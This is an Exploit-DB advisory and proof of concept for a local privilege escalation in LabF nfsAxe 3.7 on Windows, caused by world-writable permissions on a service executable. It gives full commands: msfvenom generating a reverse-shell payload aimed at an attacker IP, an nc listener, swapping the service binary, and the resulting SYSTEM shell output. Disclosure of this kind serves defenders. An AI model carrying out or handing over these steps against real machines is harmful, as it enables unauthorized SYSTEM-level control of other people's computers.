LabF nfsAxe 3.7 - Privilege Escalation

EDB-ID: 44342
Author: bzyo
Published: 2018-03-26
CVE: N/A
Type: Local
Platform: Windows
Vulnerable App: N/A

 Twitter: @bzyo_ 
Exploit Title: LabF nfsAxe 3.7 - Privilege Escalation
Date: 03-24-2018
Vulnerable Software: LabF nfsAxe 3.7
Vendor Homepage: http://www.labf.com/
Version: 3.7
Software Link: http://www.labf.com/download/nfsaxe.exe
Tested On: Windows 7 x86 and x64 *Requires Windows 7 Public Sharing to be enabled


Details:
By default LabF nfsAxe 3.7 installs to "C:\Users\Public\Program Files\LabF.com\nfsAxe" and installs
a service called "XwpXSetSrvnfsAxe service". To start this service an executable "xsetsrv.exe"
is located in the same directory and also runs under Local System.

By default in Windows with Public Folder sharing enabled, the permissions on any file/folder under "C:\Users\Public\" is Full Control
for Everyone. This means unprivileged users have the ability to add, delete, or modify any and all
files/folders.


Exploit:
1. Generate malicious .exe on attacking machine
msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=192.168.0.149 LPORT=443 -f exe > /var/www/html/xsetsrv.exe

2. Setup listener and start apache on attacking machine
nc -nlvvp 443
service apache2 start

3. Download malicious .exe on victim machine
Open browser to http://192.168.0.149/xsetsrv.exe and download

4. Rename C:\Users\Public\Program Files\LabF.com\nfsAxe\xsetsrv.exe
xsetsrv.exe > xsetsrv.bak

5. Copy/Move downloaded xsetsrv.exe file to C:\Users\Public\Program Files\LabF.com\nfsAxe\

6. Restart victim machine and login as unprivileged user

7. Reverse Shell on attacking machine opens
C:\Windows\system32>whoami
whoami
nt authority\system

Prerequisites:
To successfully exploit this vulnerability, an attacker must already have access
to a system running a LabF nfsAxe installed at the default location using a
low-privileged user account

Risk:
The vulnerability allows local attackers to escalate privileges and execute
arbitrary code as Local System aka Game Over.

Fix:
Don't use default install path

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